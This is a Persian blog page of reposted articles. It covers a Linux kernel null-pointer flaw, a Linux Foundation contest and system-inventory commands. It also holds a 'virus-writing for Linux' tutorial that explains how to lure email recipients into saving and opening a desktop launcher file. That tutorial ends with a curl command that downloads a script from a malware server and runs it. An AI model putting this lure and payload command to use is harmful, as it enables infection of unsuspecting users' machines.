نوشته شده توسط محمد جواد در 5:25 بعد از ظهر

نظرات:()

:: داستان امنيت لينوکس

داستان امنيت لينوکس

اول از همه يک چيز را روشن کنيم، امنيت کامل در هيچ چيز وجود ندارد. هيچ‌برنامه‌اي وجود ندارد که امنيت قطعي به شما بدهد. هر چه باشد، امنيت يک رويه است، نه يک محصول. رويه امنيت لينوکس، رويه قابل توجهي است. شايد به همين دليل است که امنيت فوق‌العاده‌اي دارد. در اينجا يک مثال عرضه مي‌کنيم:

16 جولاي، يک برنامه‌نويس امنيتي به‌نام براد اسپنگلر که برنامه‌اي منبع‌باز براي امنيت تحت شبکه مي‌نوشت و نامش را grsecurity گذارده بود. طي نامه‌اي اعلام کرد که در هسته لينوکس 30/6/2 (آخرين هسته) يک حفره امنيتي يافته است.

نگارش کوچکي از اين آسيب‌پذيري منتشر شد و بر اساس مرکز تهاجم‌هاي اينترنتي SANS، کد مخرب در بخش net/tun پياده‌سازي شده بود. اتفاقي که افتاد بسيار ساده بود، توسعه‌دهنده متغيري را با مقداري خاص که مي‌توانست NULL هم باشد، ايجاد ‌کرد، تا بعدا اگر مقدار آن 0 بود، پيغام خطايي برگرداند.

اما در همين نقطه موضوع جالب مي‌شود. کد برنامه‌نويس به‌نظر معصوم مي‌رسد. اما درست بعد از اين‌که به دستان کامپايلر gcc سپرده مي‌شود و در زمان بهينه‌سازي کد، کامپايلر متوجه مي‌شود که متغير قبلا تعريف شده است و عملا تکه کد if را (که در آن بررسي مي‌شود که آيا tun مساوي NULL هست يا نه) حذف مي‌کند. به‌عبارت ديگر، کامپايلر اين ايراد را به کد باينري هم منتقل مي‌کند. به‌همين دليل، هسته به‌سادگي ممکن است از آدرس صفرم حافظه، داده بخواند يا در آنجا بنويسد. مهاجم به‌همين سادگي مي‌تواند کل سيستم را در اختيار بگيرد.

ترسناک است، اين‌طور نيست؟! همان‌طور که مي‌بينيد، به‌خاطر عملکرد در سطح بسيار پايين، حتي مي‌شود SELinux را هم از پا انداخت.

البته، براي شکستن ديوارهاي امنيتي يک کامپيوتر، نياز به سطوح دسترسي بالايي داريد تا بتوانيد از ابزارهاي توسعه‌دهنده استفاده کنيد. بعد از آن، بايد حتما برنامه‌اي را از کد منبع آن کامپايل کنيد و کد منبع را هم خودتان بنويسيد. اينجا اصلا شبيه ويندوز نيست که تنها يک اشتباه، يک کليک اشتباهي روي آدرس اشتباهي يا باز کردن پيوست يک ايميل، کار سيستم عاملتان را بسازد.

اما، اين تنها راه آسيب‌پذيري‌تان نيست، استفاده از حفره‌امنيتي PulseAudio در سيستم‌هاي لينوکس و ويندوزي براي هر دو سيستم عامل خطرناک است. تنها راه چاره اين است که هسته جديد لينوکس را نصب کنيد تا خيالتان از بابت اين‌ها راحت باشد.

هدف از نوشتن اين مطلب، بررسي بحث فني و جزئيات حفره‌هاي امنيتي نيست. مساله اين است که در منبع‌باز، يک مشکل امنيتي براي عام مطرح مي‌شود و در همان ملاعام هم رفع مشکل مي‌شود. به‌عنووان مثال، فايرفاکس 5/3 يک حفره امنيتي بسيار آشکار داشت که تنها سه روز بعد از عرضه، رفع عيب شد.

اما از طرف ديگر، مايکروسافت دوشنبه گذشته باز با يک حفره امنيتي جديد روبه‌رو شده است، اما هنوز براي رفع آن اقدامي صورت نگرفته است. اين در مقابل ويندوز و ديگربرنامه‌هاي ويندوزي که ماه‌ها و سال‌ها حاوي حفره‌هاي امنيتي هستند، واقعا هيچ است. اواخر سال گذشته، مايکروسافت يک حفره امنيتي را رفع کرد که بدون اغراق، هفت سال در مرورگرش جا خوش کرده بود. يادمان نرود که کرم MyDoom که در سال 2004 راه‌اندازي شده بود، هفته گذشته دوباره در سيستم‌هاي ويندوزي براي حمله‌هاي DDoS به کار گرفته شد.

حقيقت اين است که تمام نرم‌افزارهاي منبع‌باز، که بسيار امن‌تر از برادران تجاري خود هسنتد، تمام اين‌ها را مديون منبع‌باز بودن‌اند. چرا که تنها از اين طريق مي‌توان به سادگي ايرادات را يافت و به سرعت ان را برطرف کرد. اگر مايکروسافت واقعا نگران وضعيت امنيتي است، نبايد با ارائه وصله‌هاي امنيتي آن را رفع کند، بايد کد را باز کند تا هر کس که مي‌تواند نگاهي به داخل آن بياندازد. هر چند که اين اتفاق هرگز نخواهد افتاد و نرم‌افزارهاي آزاد و منبع‌باز همچنان دلاور دنياي امنيت نرم‌افزاري باقي خواهند ماند.

محمدرضا قرباني

نوشته شده توسط محمد جواد در 10:12 بعد از ظهر

نظرات:()

:: اموزش ويروس‌نويسي براي لينوكس

ويروس‌نويسي براي لينوكس (بخش نخست)

همه ما در مورد ضدويروس بودن لينوكس چيزهاي زيادي شنيده‌ايم. همه‌مان هم مي‌دانيم كه امكان ندارد ويروسي بتواند بدون اجازه كاربر در لينوكس، دسترسي ريشه ‌(Root)‌ بگيرد. اين را هم مي‌دانيم كه بيت‌هاي اجرايي براي اجراي هر چيزي در لينوكس به‌كار مي‌روند، مگر فايل‌هايي كه از طريق وب دريافت مي‌شوند.

البته، شايان ذكر است كه توضيح دهيم ساختار سيستم عامل لينوكس بسيار مستحكم‌تر از ويندوز است و به‌سادگي كاربران نمي‌توانند با دريافت يك فايل آلوده، دچار مشكل شوند. اما، خواهيم ديد كه چطور با پيمودن چند مرحله ساده، ‌مي‌توان براي لينوكس هم بدافزار نوشت. ‌ ‌

گفته شده است كه كدي كه در ادامه مي‌نويسيم، در دسته ويروس‌ها قرار نمي‌گيرد و بيشتر به‌عنوان تروجان‌ها مطرح مي‌شود. همچنين، بايد ذكر كنيم كه اين حفره‌هاي امنيتي از ويژگي‌هاي محيط‌هاي روميزي بيشتر لينوكس‌هاي محبوب، يعني گنوم و كي‌دي‌ئي به‌شمار مي‌رود. خود هسته اصلي لينوكس هيچ كدام از اين حفره‌ها را ندارد. لينوكس يا هر سيستم ديگري كه بر پايه يونيكس كار مي‌كند، اگر از گنوم يا كي‌دي‌ئي استفاده نكنند، قطعا هيچ مشكلي نخواهند داشت. همچنين گفته باشيم كه جدا بودن ميزكار از سيستم عامل، خود مزيت بزرگي به‌شمار مي‌رود و شما مي‌توانيد با تغيير ميز كار خود از اين مشكل نيز دوري كنيد. ‌ ‌

كاربران را وادار كنيد ايميل‌تان را بخوانند

اگر بدنبال راه جديدي براي نفوذ به كامپيوتر آسيب‌پذير مي‌گرديد، بايد نااميدتان كنيم. يكي از ابتدايي‌ترين ويروس‌ها، با اجراي كاربر فعال مي‌شود و ساختار ساده‌اي داشت. ما نيز از همين روش استفاده خواهيم كرد و آن را روي محيط كار مدرن لينوكس پياده خواهيم نمود. ‌ ‌

در ويندوز روال كار ساده است، شما يك ويروس مي‌نويسيد، آن را با پسوند ‌.exe‌ ذخيره مي‌كنيد و به ايميل‌تان پيوست مي‌كنيد. سپس با يك عنوان اغواكننده، كاربر را وادار به باز كردن آن مي‌كنيد و كاربر نگون‌بخت با باز كردن آن در سيستم عامل خودش — ويندوز و در غياب حضور نرم‌افزار ضدويروس، به آن دچار خواهد شد. در يك چشم به‌هم‌زدن بدافزار خود را نصب مي‌كند و سيستم را تصاحب خواهد كرد. ‌ ‌

شما فكر مي‌كنيد چنين چيزي در لينوكس ممكن نيست؟ معلوم است كه چنين چيزي ممكن است. فقط نياز به يكي دو گام بيشتر دارد. هرچند، در معماري پايه‌لينوكس براي جلوگيري از حماقت كاربر و باز كردن فايل‌هاي آلوده، هيچ تدبيري انديشيده نشده است. بنابراين، ما مركز حملات خود را از اين ناحيه يعني ناداني كاربر آغاز خواهيم كرد. ‌ ‌

فقط يك يا دو مورد هست كه بايد به آنها دقت كرد.

نخست اين را بگوييم كه بيشتر نرم‌افزارهاي ايميل‌خوان لينوكس فايل‌هاي پيوست را اجرا نمي‌كنند. اين نرم‌افزارها فقط در صورتي فايل‌هاي پيوست را اجرا مي‌كنند كه بدانند محتواي آن چيست، يا پسوند آن را بشناسند (براي مثال فايل ‌PDF‌ يا ديگر پرونده‌ها....) فرض كنيم كه شما ويروس خود را با زبان زيباي پايتون نوشته باشيد و پسوند آن هم .py‌‌ باشد. در اين صورت يكي بايد تنظيمات سيستم را تغيير بدهد كه اين پسوند اجرا شود، چه كسي قرار است اين كار را بكند؟

پس نتيجه مي‌گيريم كه بايد از راه ديگري وارد شويم. چيزي كه هميشه موقع كليك كردن اجرا شود و به سراغ مرحله بعدي برويم. كاربر اول بايد پيوست را ذخيره كند و بعد روي آن دوبار كليك كند. از آن‌جايي كه نرم‌افزار ايميل‌خوان اين اجازه را نمي‌دهد، مجبوريم به ميزكار رجوع كنيم و خواهيم ديد كه چه‌ساده اجازه اين كار را خواهد داد. كافي است كه بار ديگر به ناداني كاربر اعتماد كنيم و مثلا جمله‌اي بنويسيم كه:

(اگر پيوست باز نمي‌شود، روي ميزكار خود ذخيره كنيد و بعد بازش كنيد...)

بيشتر ما اين پيغام را مشكوك قلمداد مي‌كنيم، اما همه‌ما نه. بنابراين، عده‌اي از ميان ما حتما آن را روي ميزكارشان ذخيره خواهند كرد. ‌ ‌

غفلت كاربران را دست كم نگيريد حتي در لينوكس

شما حتما مي‌خواهيد بگوييد كه كاربران لينوكس نسبت به كاربران ويندوزي از آن‌چه انجام مي‌دهند، هشيارترند. چرا كه انتخاب سيستم عامل ديگري جداي ويندوز و همچنين، يادگيري كار كردن با آن، دانشي فراتر از كاربران غيرفني را به‌آنها خواهد داد. اما اين موضوع در حال تغيير است، با انقلاب نت‌بوك‌ها كه به‌عنوان پيش‌فرض روي‌شان لينوك نصب است. بسياري از اين كاربران ديگر آگاهانه لينوكس را انتخاب نكرده‌اند و درست ميزان غفلت‌شان به اندازه كاربران ويندوزي خواهد بود. ‌ ‌

همچنين، دوران بي‌دغدغه لينوكسي در گذشته، اين حس غلط را به كاربران القا كرده است كه لينوكس همواره امن است. ما از همين ذكر كه «لينوكس بسيار امن است و نيازي به نرم‌افزار ضدويروس نداريد!» براي حمله استفاده خواهيم كرد و خيالمان راحت است كه وقتي آسيب زديم، نرم‌افزار ضدويروسي وجود ندارد كه بخواهد مچ ما را بگيرد.

بسيار خب، به مسايل فني بازگرديم، بيشتر نرم‌افزارهاي ايميل‌خوان،‌فايل‌هاي پيوست را روي ميزكار كاربر و در شاخه دانلود قرار مي‌دهند. بنابراين اگر كاربر فايل را بررسي نكند و آن را ذخيره كند، حقه‌مان را زده‌ايم. همان‌جايي كه ما مدنظرمان بود، فايلمان قرار مي‌گيرد. ‌ ‌

اجرا كردن فايل پيوستي

قبلا گفتيم كه فايل‌هاي پيوستي وقتي ذخيره مي‌شوند، به‌طور عادي اجرا نمي‌شوند. هيچ پسوندي در لينوكس وجود ندارد كه بگويد وقتي روي اين فايل كليك شد، ‌آن را اجرا كن و اين برخلاف ويندوز و پسوند ‌.exe‌‌اش است. بنابراين، مشكل دوم و بزرگي كه به آن مي‌خوريم اين است: براي اجراي يك فايل در لينوكس، حتما بايد كاربر در بخش دسترسي‌هاي فايل،‌آن را به فايل اجرايي تبديل كند. اين همان چيزي است كه ويندوز ندارد. و به‌خاطر همين است كه آلوده كردن سيستم‌هاي ويندوزي بسيار ساده‌تر است و تقريبا در سيستم‌هاي مبتني بر لينوكس غيرممكن به‌نظر مي‌رسد. وقتي يك فايل پيوستي را روي كامپيوتر خود ذخيره مي‌كنيد، پرچم اجرايي كردن فايل علامت نمي‌خورد و به‌همين ترتيب، وقتي روي فايل كليك مي‌شود، فايل اجرا نمي‌گردد. ‌ ‌

تند نرويم. محيط‌هاي ميزكار مدرني چون كي‌دي‌ئي يا گنوم، يك راه درروي زيبا به نام «سكوي پرتاب» يا ‌Launcher‌ به ما ارائه مي‌دهند.

سكوهاي پرتاب فايل‌هاي كوچكي هستند كه نشان مي‌دهند چه چيز بايستي اجرا شود. فقط چند خط كوتاه مي‌تواند اسم، آيكن و دستوري كه بايد اجرا شود را مشخص كند. خوشبختانه براي ما، گرامر دستور نوشتن در كي‌دي‌ئي و گنوم يكي است. همچنين جالب است بدانيد اين سكوهاي پرتاب نيازي به تنظيمات اجرايي ندارند! محيط‌هاي ميزكار اين فايل‌ها را به‌عنوان فايل استثنا قلمداد مي‌كنند. ‌

‌بنابراين وقتي روي فايل سكوي پرتاب گنوم يا كي‌دي‌ئي كليك مي‌كنيد، بدون آن‌كه نيازي به تنظيم كردن دسترسي خاصي باشيد، آن فايل اجرا مي‌شود. به‌نظرتان سخت است كه با يك دستور بخواهيم يك بدافزار را روي سيستم نصب كنيم؟ اين‌جا را ببينيد:

‌% bash -c "curl http://www.some_malware_

server.org/s.py -o /tmp/s.py; python /tmp/s.py"

منبع : جام جم انلاین

نوشته شده توسط محمد جواد در 11:9 بعد از ظهر

نظرات:()

:: ما لينوكسيم!

ما لينوكسيم!
بنياد لينوكس ‌(linuxfoundation.org)‌ به‌طور رسمي پروژه مسابقه ويديويي «ما لينوكسيم!» را آغاز كرد. اين بنياد براي آن‌كه طبيعت جامعه لينوكس را بهتر به‌تصوير بكشد، مسابقه را از «من لينوكسم!» به «ما لينوكسيم!» تغيير نام داد. در اطلاعيه بنياد لينوكس همچنين آمده است كه تعداد داوران اين مسابقه به شش نفر تغيير پيدا كرده است.

آماندا مك‌فرسون، معاون بازاريابي و توسعه برنامه‌هاي بنياد لينوكس همچنين اعلام كرده است: «از آن‌جايي كه مايكروسافت تنها هزينه‌هاي سنگيني براي تبليغات پرداخت مي‌كند و از طرف ديگر، اپل به استفاده از تكنيك‌هاي مفيد، اما قديمي خود براي بازاريابي اصرار مي‌ورزد، لينوكس با استفاده از همان روش همكاري همگاني خودش، مي‌تواند بهترين نمايش را داشته باشد كه چطور يك سيستم‌عامل را همگان مي‌سازند.»

گفتني است داوران اين مسابقه را مت آساي از آلفرسكو، لري آگوستين، عضو هيات رئيسه بنياد لينوكس، جونو بيكن، مدير جوامع اوبونتو، جو براكمير، مدير جوامع اوپن‌سوسه، مليندا متلر، مسوول مدرسه تبليغات در دانشگاه هنر و تيم اوريلي، ناشر تشكيل خواهند داد. ‌

نوشته شده توسط محمد جواد در 5:27 بعد از ظهر

نظرات:()

:: چگونه بفهميم با چه سيستمي سر و كار داريم؟

چگونه بفهميم با چه سيستمي سر و كار داريم؟

مصاحبه با لينوكس

حتما تاكنون اين سوال برايتان پيش آمده است كه چطور مي‌شود از نرم‌افزارها و سخت‌افزارهاي يك سيستم اطلاع حاصل كرد؟ حالا اگر با بيش از يك كامپيوتر سر و كار داشته باشيم، اگر روال و روش درستي براي آن نباشد، به‌دست آوردن اين اطلاعات تبديل به مشكلي بزرگ خواهد شد. يك روش اين است كه بايد تك‌تك پاي هر سيستم بنشينيد و اطلاعات را به‌صورت دستي توي يك جدول وارد كنيد.

لازم به گفتن نيست كه بدون احتساب دريافت اطلاعات نرم‌افزارها و قطعات جانبي، همين روند بسيار طولاني خواهد بود. در لينوكس اطلاعات پايه در مكان‌هاي استاندارد قرار دارد و بقيه اطلاعات همچون نرم‌افزارهاي نصب شده با چند دستور خاص به‌دست مي‌آيد.

نخست بياييد اطلاعات پيكربندي شبكه كامپيوتر را بفهميم. بعد از ورود به سيستم، نام كامپيوتر به عنوان بخشي از خط فرمان قابل ديدن است. مي‌توانيم با كمك دستور cat /etc/resolv.conf تنظيمات DNS را ببينيم. بعد مي‌توانيم ليست دستگاه‌هاي شبكه و آدرس‌هاي IP و MAC آن‌ها را با كمك دستور ifconfig –a به‌دست بياوريم.

حال مي‌ماند اطلاعات مرتبط با سخت‌افزار. مي‌توانيم اطلاعات زيادي را از سيستم فايل /proc به‌دست آوريم. مثلا با كمك دستور cat /proc/cpuinfo مي‌توان فهميد چه ريزپردازنده‌اي در سيستم مشغول به‌كار است.

مي‌توان ميزان حافظه سيستم را با كمك دستور ls –lah/proc/kcore به‌دست آورد كه حجم حافظه را به‌صورت قابل خواندن براي انسان به خروجي مي‌دهد.

اطلاعات مرتبط با سخت‌افزارهاي جانبي نصب شده را مي‌توان با كمك دستور lspci به‌دست آورد.

با كمك دستور fdisk –l /dev/?d نيز مي‌توان اطلاعات پيكربندي ديسك سخت را به‌دست آورد. اگر مي‌خواهيد بدانيد كه چه نوع ديسك سختي داريد مي‌توانيد از دستور زير استفاده كنيد:

cat /proc/ide/had/model

اگر نرم‌افزارهاي مربوط به فشرده‌سازي فرمت gz را نصب‌كرده‌ايد، يك فايل بسيار حياتي در سيستم خود داريد كه مي‌توانيد به كمك آن تنظيمات هسته را ببينيد. اين فايل در /proc/config.gz قرار دارد و اگر در دايركتوري اصلي (Root) قرار بگيرد مي‌تواند به‌عنوان فايل پيكربندي هسته عمل كند.

مي‌توان حتا دستگاه‌هايي كه به‌كمك پورت USB به سيستم متصل شده‌اند را شناسايي كرد. اين كار را به‌كمك دستور lsusb انجام دهيد.

براي دانستن ليست نرم‌افزارهاي نصب شده در سيستم‌هاي مبتني بر RPM، از دستور rpm –qa و در سيستم‌هاي مبتني بر دبيان مي‌توانيد از دستور dpkg –l استفاده كنيد.

اگر دنبال اطلاعات بيشتري مي‌گرديد، قطعا گشت‌وگذار در /proc و /sys نظرتان را جلب مي‌كند.

تمامي اين دستورات نيازي به رابط گرافيكي ندارند، از اين‌رو مي‌توان به‌سادگي و بدون حضور فيزيكي تمامي اين اطلاعات را فقط با داشتن دسترسي به ريشه از راه دور به‌دست آورد. و حتا با كمك اسكريپت نويسي، تمامي اين مراحل را اتوماتيك كرد.
منبع: جام جم

نوشته شده توسط محمد جواد در 10:36 بعد از ظهر

نظرات:()

آخرين مطالب ارسالي

لینک باکس